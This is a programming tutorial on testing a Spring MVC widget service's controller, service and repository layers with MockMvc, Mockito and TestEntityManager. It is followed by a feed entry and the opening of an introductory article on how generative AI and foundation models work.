<p class="wp-block-paragraph">The <code>WidgetController</code> handles <code>GET</code>, <code>POST</code>, <code>PUT</code>, and <code>DELETE</code> operations, following standard RESTful principles, so we’re going to write tests for each operation.</p>



<p class="wp-block-paragraph">The following source code shows the structure of our test class (<code>WidgetControllerTest.java</code>):</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.web;

@WebMvcTest(WidgetController.class)
public class WidgetControllerTest {
    @Autowired
    private MockMvc mockMvc;

    @MockitoBean
    private WidgetService widgetService;
}</code></pre>



<p class="wp-block-paragraph">I omitted the imports for readability, but the important thing to note is that the class is annotated with the <code>@WebMvcTest</code> annotation, and that we pass in the <code>WidgetController.class</code> as the controller we’re testing. This tells Spring to only load the <code>WidgetController</code> and no other Spring resources. The <code>@WebMvcTest</code> annotation includes other annotations, but the important one for our tests is <code>@AutoConfigureMockMvc</code>, which will cause Spring to create a <code>MockMvc</code> instance and add it to the application context. That lets us autowire it into our test class using the <code>@Autowired</code> annotation.</p>



<p class="wp-block-paragraph">Next, we use the <code>@MockitoBean</code> annotation to use Mockito to create a mock implementation of the <code>WidgetService</code>, after which Spring will autowire it into the <code>WidgetController</code> class. This lets us control the behavior of the <code>WidgetService</code> for the <code>WidgetController</code> test cases we’re writing. Note that starting in Spring Boot version 3.4, <code>@MockitoBean</code> replaced <code>@MockBean</code>. Everything you know about <code>@MockBean</code> translates to using <code>@MockitoBean</code>—with some improvements.</p>



<h3 class="wp-block-heading">Unit testing GET /widgets</h3>



<p class="wp-block-paragraph">Let’s start with the easiest test case, a test for <code>GET /widgets</code>:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgets() throws Exception {
    List widgets = new ArrayList();
    widgets.add(new Widget(1L, "Widget 1", 1));
    widgets.add(new Widget(2L, "Widget 2", 1));
    widgets.add(new Widget(3L, "Widget 3", 1));

    when(widgetService.findAll()).thenReturn(widgets);

    mockMvc.perform(get("/widgets"))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.length()").value(3))
            .andExpect(jsonPath("$[0].id").value(1L))
            .andExpect(jsonPath("$[0].name").value("Widget 1"))
            .andExpect(jsonPath("$[0].version").value(1));
};</code></pre>



<p class="wp-block-paragraph">The <code>testGetWidgets()</code> method creates a list of three widgets and then configures the mock <code>WidgetService</code> to return the list when its <code>findAll()</code> method is called. The <code>WidgetControllerTest</code> class statically imports the <code>org.mockito.Mockito.when()</code> method that accepts a method call, which in this case is <code>widgetService.findAll()</code>, and returns a Mockito <code>OngoingStubbing</code> instance. This <code>OngoingStubbing</code> instance exposes methods like <code>thenReturn()</code>, <code>thenThrow()</code>, <code>thenCallRealMethod()</code>, <code>thenAnswer()</code>, and <code>then()</code>.</p>



<p class="wp-block-paragraph">Here, we use the <code>thenReturn()</code> method to tell Mockito to return the list of widgets when the <code>WidgetService</code>’s <code>findAll()</code> method is called. The <code>@MockitoBean</code> annotation causes the mock <code>WidgetService</code> to be autowired into the <code>WidgetController</code>. So, when the <code>getWidgets()</code> method is called in response to a <code>GET /widgets</code>, it calls the <code>WidgetService</code>’s <code>findAll()</code> method and returns our list of widgets as a web response.</p>



<p class="wp-block-paragraph">Next, we use <code>MockMvc</code>’s <code>perform()</code> method to execute a web request. This diagram shows the various classes that interact with the  <code>perform()</code> method:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/TestingSpringMVC-fig2.png?w=1024" alt="Diagram of classes that interact with the MockMvc perform() method." class="wp-image-4078130" width="1024" height="439" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Steven Haines</p></div>



<p class="wp-block-paragraph">The <code>perform()</code> method accepts a <code>RequestBuilder</code>. Spring defines several built-in <code>RequestBuilder</code>s that we can statically import into our tests, including <code>get()</code>, <code>post()</code>, <code>put()</code>, and <code>delete()</code>. The <code>perform()</code> method returns a <code>ResultActions</code> instance that exposes methods such as <code>andExpect()</code>, <code>andExpectAll()</code>, <code>andDo()</code>, and <code>andReturn()</code>. Here, we invoke the <code>andExpect()</code> method, which accepts a <code>ResultMatcher</code>. </p>



<p class="wp-block-paragraph">A <code>ResultMatcher</code> defines a<code> match()</code> method that throws an <code>AssertionError</code> if the assertion fails. Spring defines several <code>ResultMatcher</code>s that we can statically import:</p>



<ul class="wp-block-list">
<li><code>status()</code> allows us to check the HTTP status code of response.</li>



<li><code>content()</code> allows us to check the content headers of the response, such as <code>Content-Type</code>.</li>



<li><code>header()</code> allows us to check any of the HTTP header values.</li>



<li><code>jsonPath()</code> allows us to inspect the contents of a <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html" data-type="link" data-id="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON document</a>.</li>
</ul>



<p class="wp-block-paragraph">After MockMvc performs a <code>GET to /widgets</code>, we expect the HTTP status code to be <code>200 OK</code>.  We can then use the <code>jsonPath</code> matcher to check the body results, using the following JSON path expressions:</p>



<ul class="wp-block-list">
<li><code>$.length()</code>: The <code>$</code> references the root of the JSON document. If the response is a list, then we can call the <code>length()</code> method to get the number of elements in the list.</li>



<li><code>$[0].id</code>: JSON path expressions for a list use an array syntax starting at 0. This expression gets the ID of the first element in the list.</li>



<li><code>$[0].name</code>: This expression gets the name of the first element and compares it to “<code>Widget 1</code>”.</li>



<li><code>$[0].version</code>: This expression gets the version of the first element and compares it to 1.</li>
</ul>



<h3 class="wp-block-heading">Unit testing the GET /widget/{id} handler</h3>



<p class="wp-block-paragraph">Here’s the source code to test the <code>GET /coffee/{id}</code> widget:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgetById() throws Exception {
    Widget widget = new Widget(1L, "My Widget", 1);          
    when(widgetService.findById(1L))
           .thenReturn(Optional.of(widget));

    mockMvc.perform(get("/widget/{id}", 1))
            // Validate that we get a 200 OK Response Code
            .andExpect(status().isOk())

            // Validate Headers
            .andExpect(content()
                      .contentType(MediaType.APPLICATION_JSON))
            .andExpect(header().string(HttpHeaders.LOCATION,
                                       "/widget/1"))
            .andExpect(header().string(HttpHeaders.ETAG, "\"1\""))

            // Validate content
            .andExpect(jsonPath("$.id").value(1L))
            .andExpect(jsonPath("$.name").value("My Widget"))
            .andExpect(jsonPath("$.version").value(1));
 }</code></pre>



<p class="wp-block-paragraph">This test method is very similar to the <code>testGetWidgets()</code> method, but with some notable changes:</p>



<ul class="wp-block-list">
<li>The <code>GET</code> URI is defined using a URI template. You can specify any number of variables enclosed in braces in the URI template and then send a list of arguments that will replace those variables in the order they appear in the template.</li>



<li>We check that the returned <code>Content-Type</code> is <code>“application/json”</code>, which is a constant in the <code>MediaType</code> class. We access the content using the <code>content()</code> method, which returns a <code>ContentResultMatchers</code> instance that provides various methods, including <code>contentType()</code>, which allows us to validate the content headers.</li>



<li>We check for specific header values using the <code>header()</code> method. The <code>header()</code> method returns a <code>HeadersResultMatchers</code> instance, which can check for header <code>String</code>, <code>long</code>, and <code>date</code> values, as well as checking to see whether or not specific headers exist. In this case, we use constants defined in the <code>HttpHeaders</code> class to check the <code>location</code> and <code>eTag</code> header values.</li>



<li>We check the body of the response using JSON path expressions. In this case, we do not have a list of objects, so we can access the individual fields in the JSON document directly. For example, <code>$.id</code> retrieves the <code>id</code> field value in the root of the document.</li>
</ul>



<h3 class="wp-block-heading">Unit testing a GET /widget/{id} Not Found code</h3>



<p class="wp-block-paragraph">Next, we test the <code>GET /widget/{id}</code>, passing it an invalid ID so that it returns a 404 Not Found response code:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgetByIdNotFound() throws Exception {
   when(widgetService.findById(1L)).thenReturn(Optional.empty());

   mockMvc.perform(get("/widget/{id}", 1))
            // Validate that we get a 404 Not Found Response Code
            .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">The <code>testGetWidgetByIdNotFound()</code> method configures the mock <code>WidgetService</code> to return <code>Optional.empty()</code> when its <code>findById()</code> is called with a value of 1. We then perform a <code>GET</code> request to <code>/widget/1</code>, then assert that the returned HTTP status code is 404 Not Found.</p>



<h3 class="wp-block-heading">Unit testing POST /widgets</h3>



<p class="wp-block-paragraph">Here’s how to test a <code>Widget</code> creation:</p>



<pre class="wp-block-code"><code>@Test
void testCreateWidget() throws Exception {
    Widget widget = new Widget(1L, "Widget 1", 1);
    when(widgetService.create(any())).thenReturn(widget);

    mockMvc.perform(post("/widgets")
            .contentType(MediaType.APPLICATION_JSON)
            .content("{\"name\": \"Widget 1\"}"))

            // Validate that we get a 201 Created Response Code
            .andExpect(status().isCreated())

            // Validate Headers
            .andExpect(content().contentType(
                                      MediaType.APPLICATION_JSON))
            .andExpect(header().string(HttpHeaders.LOCATION, 
                                       "/widget/1"))
            .andExpect(header().string(HttpHeaders.ETAG, "\"1\""))

            // Validate content
            .andExpect(jsonPath("$.id").value(1L))
            .andExpect(jsonPath("$.name").value("Widget 1"))
            .andExpect(jsonPath("$.version").value(1));</code></pre>



<p class="wp-block-paragraph">The <code>testCreateWidget()</code> method first creates a <code>Widget</code> to return when the <code>WidgetService</code>’s <code>create()</code> method is called with any argument. The <code>any()</code> matcher matches any argument and, because the <code>createWidget()</code> handler will create a new <code>Widget</code> instance, we will not have access to that instance when the test runs. We then invoke MockMvc’s <code>perform()</code> method to the <code>”/widgets”</code> URI, sending the content body of a new widget named <code>“Widget 1”</code>, using the <code>content()</code> method. We expect a 201 Created HTTP response code, an “<code>application/json</code>” content type, a location header of “<code>/widget/1</code>”, and an <code>eTag</code> value of the <code>String</code> “<code>1</code>”. The body of the response should match the <code>Widget</code> we returned from the <code>create()</code> method, namely an ID of 1, a name of “Widget 1”, and a version of 1.</p>



<h3 class="wp-block-heading">Unit testing PUT /widget</h3>



<p class="wp-block-paragraph">This code runs three tests for the <code>PUT</code> operation:</p>



<pre class="wp-block-code"><code>@Test
public void testSuccessfulUpdate() throws Exception {
    // Create a mock Widget when the WidgetService's findById(1L) 
    // is called
    Widget mockWidget = new Widget(1L, "Widget 1", 5);
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));

    // Create a mock Coffee that is returned when the 
    // CoffeeController saves the Coffee to the database
    Widget savedWidget = new Widget(1L, "Updated Widget 1", 6);
    when(widgetService.save(any())).thenReturn(savedWidget);

    // Execute a PUT /widget/1 with a matching version: 5
    mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 5)
                    .content("{\"id\": 1, " +
                             "\"name\": \"Updated Widget 1\"}"))

            // Validate that we get a 200 OK HTTP Response
           .andExpect(status().isOk())

            // Validate the headers
           .andExpect(content()
                        .contentType(MediaType.APPLICATION_JSON))
           .andExpect(header().string(HttpHeaders.LOCATION, 
                                      "/widget/1"))
           .andExpect(header().string(HttpHeaders.ETAG, "\"6\""))

           // Validate the contents of the response
           .andExpect(jsonPath("$.id").value(1L))
           .andExpect(jsonPath("$.name")
                               .value("Updated Widget 1"))
           .andExpect(jsonPath("$.version").value(6));
}

@Test
public void testUpdateConflict() throws Exception {
   // Create a mock coffee with a version set to 5
   Widget mockWidget = new Widget(1L, "Widget 1", 5);

    // Return the mock Coffee when the CoffeeService's 
    // findById(1L) is called
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));

    // Execute a PUT /widget/1 with a mismatched version number: 2
    mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 2)
                    .content("{\"id\": 1, " + 
                             "\"name\":  \"Updated Widget 1\"}"))
             // Validate that we get a 409 Conflict HTTP Response
            .andExpect(status().isConflict());
}

@Test
public void testUpdateNotFound() throws Exception {
   // Return the mock Coffee when the CoffeeService's 
   // findById(1L) is called
   when(widgetService.findById(1L)).thenReturn(Optional.empty());

   // Execute a PUT /coffee/1 with a mismatched version number: 2
   mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 2)
                    .content("{\"id\": 1, " + 
                             "\"name\":  \"Updated Coffee 1\"}"))

           // Validate that we get 404 Not Found
           .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">We have three variations:</p>



<ul class="wp-block-list">
<li>A successful update.</li>



<li>A failed update because of a version conflict.</li>



<li>A failed update because the widget was not found.</li>
</ul>



<p class="wp-block-paragraph">In RESTful web services, version management is handled by the entity tag, or<code> eTag</code>. When you retrieve an entity, it has an <code>eTag</code> value. When you want to update the entity, you pass that <code>eTag</code> value in the <code>If-Match</code> HTTP header. If the <code>If-Match</code> header does not match the current <code>eTag</code>, which is the <code>Widget</code> version in our implementation, then the <code>PUT</code> handler returns a 409 Conflict HTTP response code. If you get this error, it means that you need to retrieve the entity again and retry your operation. This way, if two different clients attempt to update the same entity simultaneously, only one will succeed.</p>



<p class="wp-block-paragraph">In the <code>testSuccessfulUpdate() </code>method, we return a <code>Widget</code> with a version of 5 when the <code>WidgetService</code>’s <code>findById()</code> method is called. We then pass an <code>If-Match</code> header value of 5 and then validate that we get a 200 OK HTTP response code and the expected header and body values. In the <code>testUpdateConflict()</code> method, we do the same thing, but we set the <code>If-Match</code> header to 2, which does not match 5, so we validate that we get a 409 Conflict HTTP response code. And finally, in the <code>testUpdateNotFound()</code> method, we configure the <code>WidgetService</code> to return an <code>Optional.empty()</code> when its <code>findById()</code> method is called, so we execute the <code>PUT</code> operation and validate that we get a 404 Not Found HTTP response code.</p>



<h3 class="wp-block-heading">Unit testing DELETE /widget</h3>



<p class="wp-block-paragraph">Finally, here is the source code for our two <code>DELETE /widget</code> tests:</p>



<pre class="wp-block-code"><code>@Test
void testDeleteSuccess() throws Exception {
    // Setup mocked product
    Widget mockWidget = new Widget(1L, "Widget 1", 5);

    // Setup the mocked service
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));
    doNothing().when(widgetService).deleteById(1L);

    // Execute our DELETE request
    mockMvc.perform(delete("/widget/{id}", 1L))
            .andExpect(status().isOk());
}

@Test
void testDeleteNotFound() throws Exception {
    // Setup the mocked service
    when(widgetService.findById(1L)).thenReturn(Optional.empty());

    // Execute our DELETE request
    mockMvc.perform(delete("/widget/{id}", 1L))
            .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">The <code>DELETE</code> handler first tries to find the widget by ID and then calls the<code> WidgetService</code>’s <code>deleteById()</code> method. The <code>testDeleteSuccess()</code> method configures the <code>WidgetService</code> to return a mock <code>Widget</code> when the <code>findById()</code> method is called and then configures it to do nothing when the <code>deleteById()</code> method is called. The <code>deleteById()</code> method returns void, so we do not need to mock a response, though we do want to allow the method to be called. We execute the <code>DELETE</code> operation and validate that we receive a 200 OK HTTP response code. The<code> testDeleteNotFound()</code> method configures the <code>WidgetService</code> to return <code>Optional.empty()</code> when its <code>findById()</code> method is called. We execute the <code>DELETE</code> operation and validate that we receive a 404 Not Found HTTP response code.</p>



<p class="wp-block-paragraph">At this point, we have a comprehensive set of tests for all of our controller operations. Let’s continue down our stack and test our service.</p>



<h2 class="wp-block-heading">Unit testing a Spring MVC service</h2>



<p class="wp-block-paragraph">Next, we’ll test a <code>WidgetService</code> class, shown here:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.service;

import java.util.List;
import java.util.Optional;

import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.repository.WidgetRepository;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

@Service
public class WidgetService {
    @Autowired
    private WidgetRepository widgetRepository;

    public List findAll() {
        return widgetRepository.findAll();
    }

    public Optional findById(Long id) {
        return widgetRepository.findById(id);
    }

    public Widget create(Widget widget) {
        widget.setVersion(1);
        return widgetRepository.save(widget);
    }

    public Widget save(Widget widget) {
        return widgetRepository.save(widget);
    }

    public void deleteById(Long id) {
        widgetRepository.deleteById(id);
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetService</code> is very simple. It autowires in a <code>WidgetRepository</code> and then delegates almost all its functionality to the <code>WidgetRepository</code>. The only business logic it implements is that it sets the <code>Widget</code> version to 1 in the <code>create()</code> method, when it is persisting a new <code>Widget</code> to the database.</p>



<p class="wp-block-paragraph">While Spring supports slice testing for our controller and (as you’ll soon see) our repository, it doesn’t have a slice testing annotation for our service. We could use the <code>@SpringBootTest</code> annotation, but then Spring would load all the controllers, repositories, and any other Spring resources in our application into the Spring application context. We can avoid by using Mockito directly. </p>



<p class="wp-block-paragraph">Here is the source code for the <code>WidgetServiceTest</code> class:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.service;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.Mockito.when;

import java.util.Optional;

import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.repository.WidgetRepository;

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;

@ExtendWith(MockitoExtension.class)
public class WidgetServiceTest {
    @Mock
    private WidgetRepository repository;

    @InjectMocks
    private WidgetService service;

    @Test
    void testFindById() {
        Widget widget = new Widget(1L, "My Widget", 1);
        when(repository.findById(1L)).thenReturn(Optional.of(widget));

        Optional w = service.findById(1L);
        assertTrue(w.isPresent());
        assertEquals(1L, w.get().getId());
        assertEquals("My Widget", w.get().getName());
        assertEquals(1, w.get().getVersion());
    }
}</code></pre>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">JUnit 5 supports extensions</a> and Mockito has defined a test extension that we can access through the <code>@ExtendWith</code> annotation. This extension allows Mockito to read our class, find objects to mock, and inject mocks into other classes. The <code>WidgetServiceTest </code>tells Mockito to create a mock <code>WidgetRepository</code>, by annotating it with the <code>@Mock</code> annotation, and then to inject that mock into the <code>WidgetService</code>, using the <code>@InjectMocks</code> annotation. The result is that we have a <code>WidgetService</code> that we can test and it will have a mock <code>WidgetRepository</code> that we can configure for our test cases.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">Advanced unit testing with JUnit 5, Mockito, and Hamcrest</a>.</strong></p>



<p class="wp-block-paragraph">This is not a comprehensive test, but it should get you started. It has a single method, <code>testFindById()</code>, that demonstrates how to test a service method. It creates a mock <code>Widget</code> instance and then uses the Mockito <code>when()</code> method, just as we used in the controller test, to configure the <code>WidgetRepository</code> to return an <code>Optional</code> of that <code>Widget</code> when its <code>findById()</code> method is called. Then it invokes the <code>WidgetService</code>’s <code>findById()</code> method and validates that the mock <code>Widget</code> is returned.</p>



<h2 class="wp-block-heading">Slice testing a Spring Data JPA repository</h2>



<p class="wp-block-paragraph">Next, we’ll slice test our JPA repository (<code>WidgetRepository.java</code>), shown here:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.repository;

import java.util.List;
import com.infoworld.widgetservice.model.Widget;
import org.springframework.data.jpa.repository.JpaRepository;

public interface WidgetRepository extends JpaRepository {
    List findByName(String name);
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetRepository</code> is a Spring Data JPA repository, which means that we define the interface and Spring generates the implementation. It extends the <code>JpaRepository</code> interface, which accepts two arguments:</p>



<ul class="wp-block-list">
<li>The type of entity that it persists, namely a <code>Widget</code>.</li>



<li>The type of primary key, which in this case is a <code>Long</code>.</li>
</ul>



<p class="wp-block-paragraph">It generates common CRUD method implementations for us to create, update, delete, and find widgets, and then we can define our own query methods using a specific naming convention. For example, we define a <code>findByName()</code> method that returns a <code>List</code> of <code>Widget</code>s. Because “<code>name</code>” is a field in our <code>Widget</code> entity, Spring will generate a query that finds all widgets with the specified name.</p>



<p class="wp-block-paragraph">Here is our <code>WidgetRepositoryTest</code> class:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.repository;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertNull;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

import com.infoworld.widgetservice.model.Widget;

import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.boot.test.autoconfigure.orm.jpa.TestEntityManager;

@DataJpaTest
public class WidgetRepositoryTest {
    @Autowired
    private TestEntityManager entityManager;

    @Autowired
    private WidgetRepository widgetRepository;

    private final List widgetIds = new ArrayList();
    private final List testWidgets = Arrays.asList(
            new Widget("Widget 1", 1),
            new Widget("Widget 2", 1),
            new Widget("Widget 3", 1)
    );

    @BeforeEach
    void setup() {
        testWidgets.forEach(widget -&gt; {
            entityManager.persist(widget);
            widgetIds.add((Long)entityManager.getId(widget));
        });
        entityManager.flush();
    }

    @AfterEach
    void teardown() {
        widgetIds.forEach(id -&gt; {
            Widget widget = entityManager.find(Widget.class, id);
            if (widget != null) {
                entityManager.remove(widget);
            }
        });
        widgetIds.clear();
    }

    @Test
    void testFindAll() {
        List widgetList = widgetRepository.findAll();
        assertEquals(3, widgetList.size());
    }

    @Test
    void testFindById() {
        Widget widget = widgetRepository.findById(
                               widgetIds.getFirst()).orElse(null);

        assertNotNull(widget);
        assertEquals(widgetIds.getFirst(), widget.getId());
        assertEquals("Widget 1", widget.getName());
        assertEquals(1, widget.getVersion());
    }

    @Test
    void testFindByIdNotFound() {
        Widget widget = widgetRepository.findById(
            widgetIds.getFirst() + testWidgets.size()).orElse(null);
        assertNull(widget);
    }

    @Test
    void testCreateWidget() {
        Widget widget = new Widget("New Widget", 1);
        Widget insertedWidget = widgetRepository.save(widget);

        assertNotNull(insertedWidget);
        assertEquals("New Widget", insertedWidget.getName());
        assertEquals(1, insertedWidget.getVersion());
        widgetIds.add(insertedWidget.getId());
    }

    @Test
    void testFindByName() {
        List found = widgetRepository.findByName("Widget 2");
        assertEquals(1, found.size(), "Expected to find 1 Widget");

        Widget widget = found.getFirst();
        assertEquals("Widget 2", widget.getName());
        assertEquals(1, widget.getVersion());
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetRepositoryTest</code> class is annotated with the <code>@DataJpaTest</code> annotation, which is a slice-testing annotation that loads repositories and entities into the Spring application context and creates a <code>TestEntityManager</code> that we can autowire into our test class. The <code>TestEntityManager</code> allows us to perform database operations outside of our repository so that we can set up and tear down our test scenarios.</p>



<p class="wp-block-paragraph">In the <code>WidgetRepositoryTest</code> class, we autowire in both our <code>WidgetRepository</code> and <code>TestEntityManager</code>. Then, we define a <code>setup()</code> method that is annotated with JUnit’s <code>@BeforeEach</code> annotation, so it will be executed <em>before</em> each test case runs. Next, we define a <code>teardown()</code> method that is annotated with JUnit’s <code>@AfterEach</code> annotation, so it will be executed <em>after</em> each test completes. The class defines a <code>testWidgets</code> list that contains three test widgets and then the <code>setup()</code> method inserts those into the database using the <code>TestEntityManager</code>’s <code>persist()</code> method. After it inserts each widget, it saves the automatically generated ID so that we can reference it in our tests. Finally, after persisting the widgets, it flushes them to the database by calling the <code>TestEntityManager</code>’s <code>flush()</code> method. The <code>teardown()</code> method iterates over all <code>Widget</code> IDs, finds the <code>Widget</code> using the <code>TestEntityManager</code>’s <code>find()</code> method, and, if it is found, removes it from the database. Finally, it clears the widget ID list so that the<code> setup()</code> method can rebuild it for the next test. (Note that the <code>TestEntityManager</code> removes entities directly; it does not have a <em>remove by ID</em> method, so we first have to find each <code>Widget</code> and then remove them one-by-one.)</p>



<p class="wp-block-paragraph">Even though most of the methods being tested are autogenerated and well tested, I wanted to demonstrate how to write several kinds of tests. The only method that we really need to test is the <code>findByName()</code> method because that is the only custom method we define. For example, if we were to define the method as <code><em>findByNam()</em></code> instead of <code>findByName()</code>, then the method would not work, so it is definitely worth testing.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Spring provides robust support for testing each layer of a Spring MVC application. In this article, we reviewed how to test controllers, using <a href="https://docs.spring.io/spring-framework/reference/testing/mockmvc.html" data-type="link" data-id="https://docs.spring.io/spring-framework/reference/testing/mockmvc.html">MockMvc</a>; services, using the <a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html" data-type="link" data-id="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">JUnit Mockito extension</a>; and repositories, using the Spring <a href="https://docs.spring.io/spring-boot/api/java/org/springframework/boot/test/autoconfigure/orm/jpa/TestEntityManager.html" data-type="link" data-id="https://docs.spring.io/spring-boot/api/java/org/springframework/boot/test/autoconfigure/orm/jpa/TestEntityManager.html">TestEntityManager</a>. We also reviewed slice testing as a strategy to reduce testing resource utilization and minimize the time required to execute tests. Slice testing is implemented in Spring using the <code>@WebMvcTest</code> and <code>@DataJpaTest</code> annotations. I hope these examples have given you everything you need to feel comfortable writing robust tests for your Spring MVC applications.</p>
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<item>
<title><![CDATA[What is generative AI? How artificial intelligence creates content]]></title>
<description><![CDATA[Generative AI is a kind of artificial intelligence that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.



Today’s generative models are typically built on foundation-model architectures such as large-language models (LLMs) and m...]]></description>
<link>https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Generative AI is a kind of <a href="https://www.computerworld.com/article/1647870/what-is-artificial-intelligence.html">artificial intelligence</a> that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.</p>



<p class="wp-block-paragraph">Today’s generative models are typically built on foundation-model architectures such as <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large-language models (LLMs)</a> and multimodal systems, enabling them to carry on conversations, answer questions, write stories, generate code, and produce images or videos from brief prompts.</p>



<p class="wp-block-paragraph"><em>Generative AI</em> is different from <em>discriminative AI</em>, which draws distinctions between different kinds of input. Where discriminative AI answers questions like “Is this image of a rabbit or a lion?”, generative AI instead responds to prompts such as “Describe to me how a rabbit and lion look different from one another” or “Draw me a picture of a lion and a rabbit sitting next to each other” — and in both cases produces text or imagery that, while grounded in the AI’s training data, isn’t just a copy of something that already existed.</p>



<aside class="fakesidebar">
<h4>[ <u><a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">Read next: Large language models: The foundations of generative AI</a></u> ]</h4>
</aside>




<p class="wp-block-paragraph">Just a few years ago, generative AI was once a novelty focused on chatbots and artistic image generation. Today, it has become a core enterprise technology, and powers everything from content creation and software development to customer support and analytics workflows. But with that power comes a <a href="https://www.csoonline.com/article/4076511/4-factors-creating-bottlenecks-for-enterprise-genai-adoption.html">new set of challenges</a> — from model alignment and hallucination to governance and data-integration hurdles.</p>



<p class="wp-block-paragraph">In this article, we’ll look at how generative AI works, explore how it has evolved into the foundation-model era, examine how to implement it effectively, and offer best practices for getting value out of it, today and in the future.</p>



<h2 class="wp-block-heading"><strong>How does generative AI work?</strong></h2>



<p class="wp-block-paragraph">For decades, early artificial-intelligence efforts often focused on rule-based systems or <a href="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html">narrowly trained models</a> that were built for one task at a time. While these efforts produced useful systems that could reason and solve human tasks, they were generally a far cry from sci-fi visions of thinking machines. Programs that could talk to people never seemed to get very far past the level of <a href="https://en.wikipedia.org/wiki/ELIZA">ELIZA</a>, a “computer therapist” created at MIT in the mid 1960s; even Siri and Alexa after much fanfare were revealed to be fairly limited.</p>



<p class="wp-block-paragraph">The big structural shift that gave birth to modern generative AI came with the concept of a <em>transformer, </em>first introduced in “<a href="https://arxiv.org/abs/1706.03762">Attention Is All You Need</a>,” a 2017 paper from Google researchers.</p>



<p class="wp-block-paragraph">Using a transformer architecture as a basis, you can build a system that derives meaning from analyzing long sequences of input <em>tokens</em> (words, sub-words, bytes) to understand how different tokens might be related to one another, then determines how likely any given token is to come next in a sequence, given the others. In AI lingo, we call these systems <em>models.</em> Because a model analyzes very large datasets and parameter counts, it can pick up on statistical patterns and knowledge implicitly embedded in the data.</p>



<p class="wp-block-paragraph">This is all easier said than done. The process of adjusting a model’s internal parameters so it gets better at predicting the next token in sequences is called <em>training</em>. During training, the model repeatedly guesses the next token in a given sequence, compares its prediction to the actual one, measures the error, and updates its parameters to reduce that error across billions of examples. Over time, that process teaches the model the statistical relationships that will allow it to generate coherent language (or code, or images) later.</p>



<h2 class="wp-block-heading"><strong>What is a foundation model?</strong></h2>



<p class="wp-block-paragraph">You’ll often hear the word <em>large</em> used for transformer-based models of these types, like the LLMs we mentioned earlier. <em>Large</em> in this context refers to the large number of internal numerical values that the model adjusts during training to represent what it has learned, along with breadth and diversity of data used to train the model and the underlying compute resources powering this whole process.</p>



<p class="wp-block-paragraph">This is in contrast with the narrow models of the earlier era of AI/ML, which werebuilt for one purpose and trained on a limited dataset. For instance, a spam filter may be very good at what it does, but it’s only trained on email data and all it can do is classify emails. Large models, by contrast, serve as what’s known as <em>foundation models</em>. They’re trained broadly on diverse data (text, code, images, or multimodal data) and then adapted or specialized for many downstream tasks.</p>



